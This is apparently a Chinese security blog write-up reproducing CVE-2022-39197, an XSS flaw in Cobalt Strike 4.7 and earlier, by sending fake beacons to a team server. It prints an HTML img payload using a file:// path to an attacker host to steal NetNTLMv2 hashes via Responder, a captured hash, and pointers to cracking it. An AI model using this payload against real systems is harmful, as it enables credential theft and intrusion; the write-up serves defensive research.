Cobalt Strike <=4.7 xss复现和NTLM V2窃取(不会RCE)
✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
本文首发乌鸦安全公众号
1. 说明
CVE-2022-39197
这个xss
的rce
,我只复现了xss
和简单版本的NTLM
哈希窃取。。。
从前几天开始,网上开始讨论关于cobalt strike
的CVE-2022-39197
漏洞,据说该漏洞可以直接接管服务端的权限。
前天的时候也看到了视频,但是很快这个视频就下架了。。。
于是乎在这几天,大家都在努力寻找这个漏洞的消息,但是从目前看到的来看,确实可以实现加载图片,但是更多的消息就不得而知了,至于如何rce
的,这个真的不知道。
前一天看到狗狗版的cs
更新了,在这里有一个细节:在user
的位置存在一张残缺的图片,那这一定就是xss
了。
我前几天也在尝试去复现简单的xss rce
,但是由于技术有限,一直都没成功,在这里简单复现下xss
吧!
其实这个上线的流程可以参考反制学习:Cobalt Strike批量上线
2. xss漏洞复现
在这里整个流程都和以前的都是一样的,我用的工具还是F12团队成员 LiAoRJ
大佬的,里面稍稍做了一个非常简单的修改。
https://github.com/LiAoRJ/CS_fakesubmit
2.1 上线分析
先建立一个http
的监听,再生成一个exe
,然后通过checksum8
算法获取文件,再解析公钥。。。具体的流程可以看下我以前的文章:Cobalt Strike批量上线
生成一个exe
文件,在靶机上抓包,抓到4个地址:
其中第一个地址,主要是知道端口和ip就可以了,为了下载文件,然后计算出公钥的。 第二个地址是模拟上线需要使用的。
用第一个地址下载的文件算出公钥:
将无效的Padding去除之后,得到有效公钥,然后就可以愉快的玩耍了。
2.2 xss复现
我将上面师傅提供的代码稍微修改了下(其实不修改更好):
在这里填写我们的主机名,当前主机名为我自己在本地启动的Python
服务,里面有一张图:
这个xss的位置会一直请求这个图片,如果你的图片不在的话,就会显示断裂,而且会让你的客户端非常非常卡,当又访问到图片之后,就不会再卡了。
3. 拓展
从网上看到的消息来看,这个xss还可以做很多事,比如:
- • 获取真实ip地址
- • 获取NTLM
- • RCE
- • SSRF
在这尝试下获取NTLM
4. 反制获取cs服务端的NTLM
注意:这里面可能有错误的地方,仅供参考。 原理:https://xz.aliyun.com/t/3560
https://xz.aliyun.com/t/3560
http://ashupup.love/2021/11/08/Relay%E6%94%BB%E5%87%BB/
4.1 环境准备
Windows10 提供cs
的server
和cs
的client
mac
提供上线脚本
kali linux
提供窃听ntlm
首先在windows
上启动cs
当前使用的是cs4.3
4.2 cs均为windows 端窃取ntlm
本次模拟的是windows
上启动客户端和服务端,都使用windows
:现在server
端启动cs
先连接下看下是否正常:
看下攻击机监听Responder
窃取 NTLMv2
的ip地址:
将payload
修改为:
payload = "<html><img src='file://192.168.135.15/netntlm'%>"
此时在windows
上启动客户端连接,在mac
上启动攻击脚本:
此时成功。
4.3 cs客户端为windows窃取ntlm(失败)
这个可能是我操作有问题
此时在攻击机启动cs
服务端,在windows
上启动客户端连接,同时在kali中进行监听,也就是说此时的kali充当了cs
的服务端和Responder
窃取 NTLMv2
的角色,其他的不变:
此时失败,最大的可能是我操作有问题。。。
4.4 破解hash
现在需要破解哈希值来获取明文密码。
Hashcat是执行哈希破解最快的工具,支持CPU/GPU哈希破解和多种哈希格式。Hashcat官方下载地址为:https://hashcat.net/hashcat/ 。
密码词典下载地址:
https://hashkiller.co.uk/downloads.aspx 。
以上来源于:https://xz.aliyun.com/t/3560
在这里将hash保存为一个txt文件,然后用命令破解:
admin::DESKTOP-7DI3BJ1:91b73d9daee0240a:6B830AAE51199AE62B0C11856EA8F5B3:0101000000000000003697DB6BCFD801DE087EA0F18B9609000000000200080059004F0057004F0001001E00570049004E002D0032003600590041004900420044004E00380049004D0004003400570049004E002D0032003600590041004900420044004E00380049004D002E0059004F0057004F002E004C004F00430041004C000300140059004F0057004F002E004C004F00430041004C000500140059004F0057004F002E004C004F00430041004C0007000800003697DB6BCFD8010600040002000000080030003000000000000000010000000020000088006DB502B9243580E663C0726CA19F40130C154E7967BD34E23D10C222DA100A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E003100330035002E00310035000000000000000000
我用的是john
,也可以:
4. 总结
从我自己以前的cs
批量上线来看,这个需要获取stage
文件或者是样本,然后获取到c2
地址和公钥地址,才可以进行反制,如果说设置了云函数或者是域前置,貌似是无法直接进行反制的(笔者水平有限,可能是有洞的。)
如果是裸奔的cs
,妥妥的死。
本文可能有错误的地方,写的太着急了,仅供参考!
相关文章
- 从JAVA内存到垃圾回收,带你深入理解JVM
- 透过现象看本质:Java类动态加载和热替换
- logstash处理多行日志-处理java堆栈日志
- Java High Level REST Client 使用地理位置查询
- 垃圾回收你懂,Java垃圾回收你懂吗?
- 几款Java开发者必备常用的工具,准点下班不在话下
- Ulysses for Mac(最好用的Markdown文本编辑写作工具)
- Xilinx MPSoC FSBL中的看门狗的用法总结
- 【FusionCompute】使用VMware Workstaion安装部署VRM(三)
- 【FusionCompute】添加CNA主机到VRM管理节点(四)
- RabbitMQ:安装配置
- RabbitMQ:消息模型
- 【FusionCompute】基于FreeNAS部署并使用虚拟存储(五)
- 【FusionCompute】创建虚拟机失败(六)
- Xshell同步复制粘贴Windows的东西
- 【OpenFiler】使用虚拟机安装openfiler
- 什么是BPM系统?BPM流程管理系统介绍
- Online DDL和Cardinality
- MRR和ICP
- 犀牛鸟中学科学人才培养计划喜报:祝贺北京一零一中学李一昕同学获丘成桐中学科学奖全球总决赛金奖!